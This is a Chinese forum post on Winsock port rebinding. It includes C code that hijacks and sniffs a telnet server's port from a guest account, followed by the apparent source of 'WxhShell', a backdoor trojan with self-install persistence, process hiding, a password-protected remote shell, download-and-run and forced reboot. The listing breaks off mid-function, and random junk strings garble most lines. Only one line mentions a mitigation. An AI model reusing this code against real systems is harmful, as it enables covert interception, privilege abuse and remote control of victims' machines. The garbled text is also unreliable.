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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ig3(|{R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _P<lG[V  
)H9*NB8%  
  saddr.sin_family = AF_INET; :6$4K"^1  
bmVgTm&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 18"VB50b}  
2nU NI U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iW@Vw{|i I  
Hu9R.[u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lF8 dRIav  
i!W8Q$V  
  这意味着什么?意味着可以进行如下的攻击: p/1}>F|i  
V$<G)dwUG5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zQ5jx5B":  
O;0<^M/0G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H='9zqYZ<W  
GHJ=-9{YL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 < mK  
NhK(HTsvK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !)/iRw9re  
"YzTMKu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <W51oO  
^q&wITGI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )fMX!#KP  
@=0r3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V2s}<uG  
gQh Ccv  
  #include "h^#<bPN  
  #include dA)4(0o8fD  
  #include 3.<6;?  
  #include    G#n^@kc*,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Sd\IGy{a  
  int main() i9\\evJs  
  { 12d}#G<q-  
  WORD wVersionRequested; %wjB)Mae  
  DWORD ret; :uwRuPI  
  WSADATA wsaData; ju^"vw  
  BOOL val; 5Vqmv<F;$Z  
  SOCKADDR_IN saddr; rZ.a>'T4  
  SOCKADDR_IN scaddr; dI0bTw|s/  
  int err; J7?)$,ij%  
  SOCKET s; ]v@tZ}  
  SOCKET sc; rF'^w56  
  int caddsize; R'9@A\7#  
  HANDLE mt; %V%#y $l  
  DWORD tid;   JQ@`EV9,  
  wVersionRequested = MAKEWORD( 2, 2 ); F%.9f Uo  
  err = WSAStartup( wVersionRequested, &wsaData ); v!#`W  
  if ( err != 0 ) { B!r48<p  
  printf("error!WSAStartup failed!\n"); kh?#={]Z  
  return -1; ui56<gI-  
  } T]nR=uK6LL  
  saddr.sin_family = AF_INET; f_4S>C$  
   K_&c5(-(_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A:.IBctsd  
YoF\ MT]W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <Sprp]n 7  
  saddr.sin_port = htons(23); zK>'tFU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :%uyy5AZ  
  { fa4951_  
  printf("error!socket failed!\n"); => uVp  
  return -1; HhWwc#B  
  } ?|">),  
  val = TRUE; Y-%l7GErhL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xV,4U/ T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c#n4zdQd]5  
  { Y*kh$E%<#  
  printf("error!setsockopt failed!\n"); qXU:A-IdIl  
  return -1; Pv7f _hw  
  } -y l4tW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3%[)!zKv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 miG; ]-"^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $&=4.7Yt  
z^P* :  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UU.mdSL  
  {  \Z\IK  
  ret=GetLastError(); #0?"J)  
  printf("error!bind failed!\n"); 8g[ (nxI~  
  return -1; vNC$f(cQ  
  } =wIdC3Ph  
  listen(s,2); Y|m_qB^_  
  while(1) qD(fYOX{C  
  { rysP)e  
  caddsize = sizeof(scaddr); )e|$K= D  
  //接受连接请求 [GR|$/(z=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~jp!"f  
  if(sc!=INVALID_SOCKET) +H[}T ]  
  { _Sly7_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0+K`pS'  
  if(mt==NULL) 5U-p'c9IC  
  { >J^7}J  
  printf("Thread Creat Failed!\n"); QH7V_#6bKP  
  break; Jb3>vCIn  
  } 9<t9a f\.>  
  } J|gdO+  
  CloseHandle(mt); U^[cYTG  
  } lruF96C/Y  
  closesocket(s); #.E\,N'  
  WSACleanup(); 24H^ hN9  
  return 0; B_SZ?o  
  }   @tr&R==([  
  DWORD WINAPI ClientThread(LPVOID lpParam) ldAov\X  
  { _[}G(<  
  SOCKET ss = (SOCKET)lpParam; ~^lH ^J   
  SOCKET sc; fqcU5l[v,  
  unsigned char buf[4096]; .Bb$j=  
  SOCKADDR_IN saddr; 9?u9wuH  
  long num; +,&m7L  
  DWORD val; %uGleY]~  
  DWORD ret; wO^$!zB W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z'?7]C2b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :LZ-da"QR  
  saddr.sin_family = AF_INET; f$1Gu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -TzI>Fz  
  saddr.sin_port = htons(23); hsTFAfa'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )myf)"l5  
  { l-<3{!  
  printf("error!socket failed!\n"); 22)0zY%\  
  return -1; !Qv5"_  
  } yxaT7Oqh%  
  val = 100; C6K|:IK{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b4Ricm  
  { z>cIiprX  
  ret = GetLastError(); F^.om2V|9  
  return -1; K-2.E  
  } y 2z{rd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qpb/g6g  
  { a4A`cUt  
  ret = GetLastError(); ]$m#1Kj  
  return -1; 42b.7E  
  } m0=cMVCA!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rQ`\JE&`  
  { 2wB.S_4"-<  
  printf("error!socket connect failed!\n"); RDUT3H6~  
  closesocket(sc); e1^fUOS  
  closesocket(ss); 8g<Q5(  
  return -1; ?!bd!:(N  
  } vC)"*wYB{  
  while(1) |RR"'o_E  
  { zb"rMzCH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SQh+5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :d;[DYFLxb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #d7N| 9_  
  num = recv(ss,buf,4096,0); !OPSSP]-  
  if(num>0) &?SX4c~?u  
  send(sc,buf,num,0); J+{Ou rWt  
  else if(num==0) C:]/8l  
  break; M:R8<.{  
  num = recv(sc,buf,4096,0);  7]p>XAb  
  if(num>0) _^_5K(Uq  
  send(ss,buf,num,0); E)C.eW /  
  else if(num==0) ~'NX~<m  
  break; y\^@p=e  
  } O{PW  
  closesocket(ss); #$LH2?)  
  closesocket(sc); rlR !&  
  return 0 ; 9wAA. -"  
  } 9.xvV|Sp  
z'7#"D  
q}#iV$dAj  
========================================================== |:./hdcad  
Xl#Dw bx  
下边附上一个代码,,WXhSHELL Wu4ot0SZ  
Ba/RO36&c  
========================================================== 6X dWm  
bRWIDPh  
#include "stdafx.h" t(}/g  
A[RHw<  
#include <stdio.h> X6Un;UL  
#include <string.h> cb +l"FI7  
#include <windows.h> ^:m^E0(H  
#include <winsock2.h> RG&I\DTyt  
#include <winsvc.h> }-d)ms!  
#include <urlmon.h> `&7mHa61  
/r276Q  
#pragma comment (lib, "Ws2_32.lib") -7k[Vg?  
#pragma comment (lib, "urlmon.lib") wAw42{M  
8h@q  
#define MAX_USER   100 // 最大客户端连接数 ;xfO16fNk  
#define BUF_SOCK   200 // sock buffer 3FFaEl  
#define KEY_BUFF   255 // 输入 buffer 92ZWU2"  
ovo/!YJ2  
#define REBOOT     0   // 重启 CK2B  
#define SHUTDOWN   1   // 关机 0Y7$d`  
B1E$v(P3M  
#define DEF_PORT   5000 // 监听端口 NeHx2m+  
BYS lKTh  
#define REG_LEN     16   // 注册表键长度 os[ZIHph  
#define SVC_LEN     80   // NT服务名长度 L~IE,4  
uM<|@`&b  
// 从dll定义API O#vn)+Y,*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VKy5=2&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gu5~ DyT`G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }7.#Dj/r6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C)OG62  
eI^gV'UK  
// wxhshell配置信息 0mTEim  
struct WSCFG { !K[/L< Kv  
  int ws_port;         // 监听端口 %4,xx'`  
  char ws_passstr[REG_LEN]; // 口令 e8oKn&  
  int ws_autoins;       // 安装标记, 1=yes 0=no f e|g3>/|  
  char ws_regname[REG_LEN]; // 注册表键名 \^9pW 2v  
  char ws_svcname[REG_LEN]; // 服务名 EJ`Q8uz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !n eo\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s _~IZ%+<.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _5b0wdB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q]TqI' o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bw9 nB{C<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]BfS270  
vs +QbI6>-  
}; -j&Vtr  
fp{G|.SA  
// default Wxhshell configuration 8.yCA  
struct WSCFG wscfg={DEF_PORT, p;0 PxL=  
    "xuhuanlingzhe", &iNS?1a%f=  
    1, gXt O*Rfqk  
    "Wxhshell", {(}yG_Q]!  
    "Wxhshell", *hF^fxLbl  
            "WxhShell Service", A d/($v5+  
    "Wrsky Windows CmdShell Service", xI?0N<'.*q  
    "Please Input Your Password: ", eRs&iK2y  
  1, xdZ<| vMR  
  "http://www.wrsky.com/wxhshell.exe", mZ7B<F[qV  
  "Wxhshell.exe" r2nBWA3  
    }; p>q&&;fe  
n3$gx,KL  
// 消息定义模块 lm$;:Roj*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P`EgA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #-{N Ws\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [(ygisqt  
char *msg_ws_ext="\n\rExit."; L+.H z&*@  
char *msg_ws_end="\n\rQuit."; M\9F:.t=  
char *msg_ws_boot="\n\rReboot..."; I^G^J M!  
char *msg_ws_poff="\n\rShutdown..."; h=6xZuA\  
char *msg_ws_down="\n\rSave to "; 26.)Ur<F  
|n`PESf_  
char *msg_ws_err="\n\rErr!"; 8}BS2C%P  
char *msg_ws_ok="\n\rOK!"; 2bLI%gg3  
Efx=T$%^&  
char ExeFile[MAX_PATH]; 90fs:.  
int nUser = 0; \0?$wIH?  
HANDLE handles[MAX_USER]; 3+>OGwfQ  
int OsIsNt; ,[X_]e;  
?v4E<iXs  
SERVICE_STATUS       serviceStatus; K(VW%hV1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zsVcXBz  
XQ?fJWLU  
// 函数声明 OPuj|%Wgw  
int Install(void); OxQYNi2  
int Uninstall(void); 'Jydu   
int DownloadFile(char *sURL, SOCKET wsh); % :/_f  
int Boot(int flag); 3z3_7XI  
void HideProc(void); .'j29 6[u  
int GetOsVer(void);  ?Vc0)  
int Wxhshell(SOCKET wsl); VI_+v[Hk/  
void TalkWithClient(void *cs); j (ygQ4T  
int CmdShell(SOCKET sock); b7Oj<! Wo`  
int StartFromService(void); w2OsLi Sv  
int StartWxhshell(LPSTR lpCmdLine); Od{jt7<j#  
SkHYXe"]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _ie.|4k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8sg|MWSU  
?:igumeYX  
// 数据结构和表定义 V_"f|[1  
SERVICE_TABLE_ENTRY DispatchTable[] = !D:Jbt@R<n  
{ S!h Xf|*0[  
{wscfg.ws_svcname, NTServiceMain}, 0%<+J;'o  
{NULL, NULL} !E0!-UpY  
}; c)~h<=)  
aSL6zye ,  
// 自我安装 =6\LIbO  
int Install(void) UpfZi9v?W  
{ J,5+47b1}R  
  char svExeFile[MAX_PATH]; x[X`a  
  HKEY key; $a(`ve|  
  strcpy(svExeFile,ExeFile); 1~\M!SQ)  
>c~RI7uu  
// 如果是win9x系统,修改注册表设为自启动 m`}{V5;  
if(!OsIsNt) { IQnIaZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z9DcnAs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U~H?4Izl=  
  RegCloseKey(key); cWa)#:JOV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;>>C)c4V"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9v?l  
  RegCloseKey(key); K_ke2{4Jm  
  return 0; UyiJU~r1  
    } g"K>5Cb  
  } Ck'aHe22'  
} Ri)uq\E/#  
else { !{Z~<Ky  
gzdG6"  
// 如果是NT以上系统,安装为系统服务 *Y6xvib9*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 41V e}%  
if (schSCManager!=0) Zu/<NC (  
{ i9A~<  
  SC_HANDLE schService = CreateService Y; ) .+si  
  ( Kq)MTlP0g  
  schSCManager, L0NA*C   
  wscfg.ws_svcname, p&Ed\aQ%z;  
  wscfg.ws_svcdisp, %d;ezY'2  
  SERVICE_ALL_ACCESS, 9P WY52!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *%gF2@=r8F  
  SERVICE_AUTO_START, BVpO#c~I  
  SERVICE_ERROR_NORMAL, X+82[Y,mB.  
  svExeFile, T!|=El>  
  NULL, s'\$t  
  NULL, /+|#^:@  
  NULL, RU#F8O  
  NULL, ](jFwxU  
  NULL {38bv. 3'  
  ); o{WyQ&2N  
  if (schService!=0) n<7q`tM#  
  { F]+~x/!  
  CloseServiceHandle(schService); j/!H$0PN  
  CloseServiceHandle(schSCManager); <AoXEu D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @n+=vC.xO  
  strcat(svExeFile,wscfg.ws_svcname); ?cy4&]s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y 1\'( 1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); & E}mX]t  
  RegCloseKey(key); =^;P#kX  
  return 0; l.+yn91%>  
    } "Cz<d w]D  
  } c&nh>oN  
  CloseServiceHandle(schSCManager); p&b5% 4P  
} s1j{x&OSq  
} gVR@&bi7  
v|';!p|  
return 1; qxOi>v0\H  
} [1yq{n=  
0<p{BL 8  
// 自我卸载 R.9V,R5  
int Uninstall(void) PoSpkJH  
{ !|Q5Zi;aX7  
  HKEY key; >QkP7Kb  
[<c&|tfl  
if(!OsIsNt) { 3'`dFY,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } ^kL|qmjR  
  RegDeleteValue(key,wscfg.ws_regname); #q\x$   
  RegCloseKey(key); na+d;h*~y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9i q""  
  RegDeleteValue(key,wscfg.ws_regname); @.C{OSH E  
  RegCloseKey(key); BMyzjteS+  
  return 0; S.*~C0"  
  } K%5"u'  
} zZ-\a[F  
} r(A.<`\   
else { ~FU@wV^   
eD?3"!c!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j]rz] k  
if (schSCManager!=0) /0MDISQy9  
{ G4 _,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?Bi*1V<R  
  if (schService!=0) KKe8 ly,  
  { V@-)\RZm  
  if(DeleteService(schService)!=0) { ;3eKqr0  
  CloseServiceHandle(schService); )?! [}t  
  CloseServiceHandle(schSCManager); C~% 1w%nn  
  return 0; ay )/q5  
  } #U mF-c  
  CloseServiceHandle(schService); 5 `D-  
  }  t+uE  
  CloseServiceHandle(schSCManager); "2ru7Y"  
} _HOIT  
} oXsL9,  
Dh4 6o|P  
return 1; i yesD  
} !U%T&?E l  
B=f,QU  
// 从指定url下载文件 ~Ou1WnmO  
int DownloadFile(char *sURL, SOCKET wsh) ,MPB/j^o5!  
{ o +B:#@9?  
  HRESULT hr; #]WqM1u  
char seps[]= "/"; !A3-0zN!  
char *token; bPK Ow<  
char *file; y] oaO+  
char myURL[MAX_PATH]; Io`P,l:  
char myFILE[MAX_PATH]; PUJ2`iP1^3  
hB;VCg8  
strcpy(myURL,sURL); |KI UgI  
  token=strtok(myURL,seps); 4bVO9aUG{  
  while(token!=NULL) <6TT)t<h  
  { 2-*V=El  
    file=token; J5Z%ImiT^O  
  token=strtok(NULL,seps); ^ <`(lyph  
  } Jb_1LZ) ]  
`O?T.p)   
GetCurrentDirectory(MAX_PATH,myFILE); Uh eC  
strcat(myFILE, "\\"); oTjyN\?H  
strcat(myFILE, file); 2NGe C0=  
  send(wsh,myFILE,strlen(myFILE),0); p/Sbt/R  
send(wsh,"...",3,0); uQ$^;Pr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :'L2J  
  if(hr==S_OK) CbBSFKM  
return 0; e>rRTN  
else wBj-m  
return 1; uE/T2BX*  
.0 )Y  
} Yj|eji7y  
Vgb *% I  
// 系统电源模块 AI vXb\wL  
int Boot(int flag) 9I7\D8r  
{ }GMbBZ:nKK  
  HANDLE hToken; ^jB8Q  
  TOKEN_PRIVILEGES tkp; %VJ85^B3  
lf<S_2i  
  if(OsIsNt) { ZIR0PQh\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P;[OWSR[d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1F'1>Bu~  
    tkp.PrivilegeCount = 1; WO5O?jo'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b3-e R5U/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OI1ud/>h  
if(flag==REBOOT) { #eZ6)i<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >Hb^P)3  
  return 0; q#A(gyy  
} l ASL8O&\  
else { n]_[NR) i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rPNb\Ri  
  return 0; 63|+2-E2Q  
} O%~jop7# 6  
  } `vG,}Pt]  
  else { d,vNem-Z*L  
if(flag==REBOOT) { h}_~y'^!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lf([dE1  
  return 0; G0 J4O!3  
} c !ZM  
else { yq-=],h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5RH2"*8T  
  return 0; >Iewx Gb>  
} ,Y?sfp  
} % }|cb7l  
{gA\ph% s  
return 1; L TV{{Z+  
} ZoB*0H-  
9//+Bh  
// win9x进程隐藏模块 W%2 80\h  
void HideProc(void) V=He_9B  
{ &c(WE RW?-  
$mmup|;(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >h2%[j=  
  if ( hKernel != NULL ) uJHu>M}~  
  { iI@jZVk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 02`$OTKz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .#u_#=g?  
    FreeLibrary(hKernel); (6CN/A{qe  
  } M2x["  
#*$P'r  
return; OH^N" L  
} <e]Oa$  
q+ KzIde|%  
// 获取操作系统版本 "LYh7:0s!k  
int GetOsVer(void) R3)57OyV  
{ Q-Ux<#  
  OSVERSIONINFO winfo; \l"&A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %<?0apO  
  GetVersionEx(&winfo); E5el?=,i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bPD`+: A_  
  return 1; ]eQV ,Vt  
  else RCTQhTy=  
  return 0; v%k9M{  
} N"/-0(9[  
8zLY6@  
// 客户端句柄模块 !Fw?H3X!"q  
int Wxhshell(SOCKET wsl) KfBTL!0#  
{ _rV5E  
  SOCKET wsh; S-31-Zjw  
  struct sockaddr_in client; ]q- g[e'  
  DWORD myID; L@75- T  
G$'jEa<:u  
  while(nUser<MAX_USER) v5;I]?72l~  
{ 9Suu-A  
  int nSize=sizeof(client); d_n7k g+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ;N B:e  
  if(wsh==INVALID_SOCKET) return 1; <2!v(EkI  
>{eCh$L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nzjkX4KV  
if(handles[nUser]==0) O%1v) AT&\  
  closesocket(wsh); l$K,#P<)  
else AM"Nn L"  
  nUser++; 4!asT;`'  
  } Q6o(']0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O20M[_S  
i |{Dd%4vK  
  return 0; `r5 $LaD  
} 7&`}~$>}>e  
+,:du*C  
// 关闭 socket c`lJu_  
void CloseIt(SOCKET wsh) (>mI'!4d  
{ t E` cau  
closesocket(wsh); :Ih|en^w  
nUser--; N=:5eAza  
ExitThread(0); 0JgL2ayIVI  
} ^mAYBOE  
]0;864X0  
// 客户端请求句柄 2j(h+?N7k  
void TalkWithClient(void *cs) ] 2DH;  
{ ZYf2XI(_"  
U. AjYez  
  SOCKET wsh=(SOCKET)cs; -",=G\XZ  
  char pwd[SVC_LEN]; y%sroI('y  
  char cmd[KEY_BUFF]; {k4CEt;  
char chr[1]; r'CM  
int i,j; r1ws1 rr=  
wU#F_De)R:  
  while (nUser < MAX_USER) { 2L AYDaS  
V`adWXu  
if(wscfg.ws_passstr) { h8\  T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L=2y57&Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QDpEb=|S  
  //ZeroMemory(pwd,KEY_BUFF); iv phlw  
      i=0; n~g)I&  
  while(i<SVC_LEN) { 9Rek4<5  
iX'rU@C  
  // 设置超时 Lokl2o `  
  fd_set FdRead; t+,4Ya|Xj  
  struct timeval TimeOut; /8VP[i)u  
  FD_ZERO(&FdRead); g8!wb{8?s  
  FD_SET(wsh,&FdRead); Xtwun  
  TimeOut.tv_sec=8; AamVms  
  TimeOut.tv_usec=0; =9kN_:-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h._nK\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); liR ?  
:K\mN/ x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O62b+%~F  
  pwd=chr[0]; pV6d Id  
  if(chr[0]==0xd || chr[0]==0xa) { yq+!czlZ  
  pwd=0; Z/^  u  
  break; &a/__c/l  
  } USN8N (  
  i++; r>jC_7  
    } tbnH,*  
~gz^Cdh  
  // 如果是非法用户,关闭 socket fN"( mW>!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bl9jkq ]  
} tBTTCwNT%  
2_Wg!bq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /7!""{1\\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @/r^%G  
_"4xKh)  
while(1) { SI:U0gUc  
9Pw0m=4  
  ZeroMemory(cmd,KEY_BUFF); 1 T130L  
!v]b(z`Y  
      // 自动支持客户端 telnet标准   %{6LUn  
  j=0; OMwsbp&  
  while(j<KEY_BUFF) { 7Cjd.0T=(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lTU$0CG  
  cmd[j]=chr[0]; $A3<G-4O  
  if(chr[0]==0xa || chr[0]==0xd) { i{D=l7j|w  
  cmd[j]=0; +GsWTEz   
  break; jGrN\D?h  
  } *m%]zj0bo  
  j++; i(? ,6)9  
    } {cpEaOyOM  
+n}$pM|NKU  
  // 下载文件 PSawMPw  
  if(strstr(cmd,"http://")) { tNVV)C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %gnM( pxl  
  if(DownloadFile(cmd,wsh)) gX{loG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fw oQ' &  
  else 8A{_GH{:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vIvVq:6_3  
  } EQqx+J&!  
  else { >;z<j$;F<  
iCP/P%  
    switch(cmd[0]) { CE15pNss  
  +i\&6HGK;-  
  // 帮助 Sx    
  case '?': { #d{=\$=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kb =@ =Xta  
    break; Z ,^9 Z  
  } ^I KO2Ft  
  // 安装 ]nhr+;of/-  
  case 'i': { b;|55Y  
    if(Install()) KYJjwXT28W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `:'w@(q  
    else lyCW=nc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y/V%&.$o=  
    break; \:> Wpqw  
    } *&AfR8x_z  
  // 卸载 {{C`mgC  
  case 'r': { ::n;VY2&  
    if(Uninstall()) P,ua<B}L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bslrqUk_`=  
    else ^$%Z! uz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Qm[[pnj  
    break; "uLjIIl  
    } )XQ`M?**M  
  // 显示 wxhshell 所在路径 ? muzU.h"z  
  case 'p': { 5unG#szq  
    char svExeFile[MAX_PATH]; g~UUP4<$"  
    strcpy(svExeFile,"\n\r"); 4h6k`ie!$  
      strcat(svExeFile,ExeFile); 5 ,0d  
        send(wsh,svExeFile,strlen(svExeFile),0); `RMI(zI3g.  
    break; DoC(Z)o  
    } >pkT1Z&'  
  // 重启 3Rm#-T s  
  case 'b': { d2X[(3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [<`SfE  
    if(Boot(REBOOT)) |%~+2m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D 71;&G]0  
    else { (h']a!  
    closesocket(wsh); M.h`&8  
    ExitThread(0); 6)pH |d.FR  
    } w@2Vts  
    break; lCW8<g^  
    } ~}Z\:#U  
  // 关机 ,(a5@H$f  
  case 'd': { avmcw~ TF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~f|Z%&l|  
